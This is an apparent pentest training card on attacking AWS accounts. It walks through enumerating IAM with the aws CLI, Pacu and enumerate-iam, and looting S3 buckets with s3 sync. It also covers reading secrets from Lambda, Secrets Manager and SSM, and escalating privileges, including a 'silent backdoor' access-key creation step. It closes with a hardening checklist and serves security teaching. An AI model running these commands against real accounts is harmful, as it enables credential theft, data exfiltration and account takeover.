Skip to content
Pwnversity
CLOUD-AWSintermediate · 6 min · upd. 2026-10

AWS Pentesting

AWS is the most widespread cloud provider, and its pentest revolves around credentials and IAM permissions (see IAM Abuse and Privilege Escalation) plus specific misconfigured services. This card walks the AWS-specific flow: from getting credentials and enumerating, to exploiting the most common services (EC2, S3, Lambda, IAM) and escalating to account control.

In AWS the asset is always a credential with permissions. The attacker gets in with a key (leaked, stolen via SSRF, or from a compromised host), figures out which role/user it belongs to and what it allows, and chains permissions up to account control or data access. The hot spots: unrotated long-lived keys, instance roles with excess permissions, open S3 buckets, secrets in Lambda environment variables, and IAM policies with wildcards.

flowchart LR
    A[AWS credential] --> B[sts get-caller-identity]
    B --> C{Which permissions?}
    C -->|enumerate-iam / Pacu| D[Accessible services]
    D --> E[EC2/IMDS]
    D --> F[S3]
    D --> G[Lambda/Secrets]
    E --> H[IAM: escalation permissions]
    F --> H
    G --> H
    H --> I[AdministratorAccess / data]

Two main Access Key ID formats:

  • AKIA... — long-lived key of an IAM user.
  • ASIA... — temporary key (requires AWS_SESSION_TOKEN), issued by STS, roles, or the IMDS.
Ventana de terminal
aws configure # interactive (long-lived keys)
# temporary credentials (from role / IMDS / STS)
export AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...

Where they come from: leaked (see Source Code OSINT), stolen via SSRF→IMDS (see Metadata Service (IMDS)), from buckets, or from a compromised host (~/.aws/credentials).

Ventana de terminal
aws sts get-caller-identity # who am I? (ARN, Account ID)
aws iam list-users ; aws iam list-roles # if allowed
enumerate-iam --access-key AKIA... --secret-key ... # what permissions I really have
# full posture audit
scout suite aws ; prowler aws
pacu # exploitation framework (enum + exploit)
Ventana de terminal
aws ec2 describe-instances # instances, IPs, security groups
aws ec2 describe-security-groups # rules (0.0.0.0/0?)
# public or shared snapshots/AMIs -> data
aws ec2 describe-snapshots --owner-ids <account-id>
aws ec2 describe-images --owners <account-id>

If there’s SSRF or RCE in an app on the instance, steal the role’s credentials via IMDS (see Metadata Service (IMDS)).

Ventana de terminal
aws s3 ls # account buckets
aws s3 ls s3://<bucket> # contents
aws s3 sync s3://<bucket> ./loot --no-sign-request # anonymous access
Ventana de terminal
aws lambda list-functions # functions
aws lambda get-function --function-name X # code and download URL
aws lambda get-function-configuration --function-name X # environment variables (secrets!)
Ventana de terminal
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <arn>
aws ssm get-parameters-by-path --path / --recursive --with-decryption # SecureString
aws rds describe-db-snapshots --include-public # public RDS snapshots

Look for escalation permissions (iam:AttachUserPolicy, iam:PassRole, iam:CreateAccessKey…) and chain them up to admin. The details and the ~20 classic paths are in IAM Abuse and Privilege Escalation. With Pacu:

Ventana de terminal
# inside Pacu
run iam__enum_permissions
run iam__privesc_scan
Ventana de terminal
# create an access key for an existing user (silent backdoor)
aws iam create-access-key --user-name victim
# other paths: new user/role, modified trust policy (AssumeRole), event-triggered Lambda
  • Least-privilege IAM + IAM Access Analyzer; no static keys (roles, IAM Identity Center).
  • IMDSv2 enforced (HttpTokens: required, hop limit 1); security groups without unnecessary 0.0.0.0/0; S3 Block Public Access at account level.
  • CloudTrail in all regions + GuardDuty (detects credential theft, mining, exfiltration); AWS Config / Security Hub (posture).
  • Secrets Manager / SSM SecureString for secrets (not in environment variables/code); KMS encryption.
  • SCPs (Organizations) to cap the maximum scope; MFA mandatory for privileged users; alerts on CreateAccessKey, AttachUserPolicy, PassRole.
  • Obtain and configure credentials (AKIA/ASIA)
  • sts get-caller-identity + enumerate-iam
  • ScoutSuite/Prowler for overall posture
  • EC2: security groups, IMDS, public snapshots/AMIs
  • S3: public/writable/secret-holding buckets (Buckets and Public Storage)
  • Lambda: code and environment variables (secrets)
  • Secrets Manager/SSM/RDS: secrets and public snapshots
  • IAM: escalation permissions → admin (IAM Abuse and Privilege Escalation)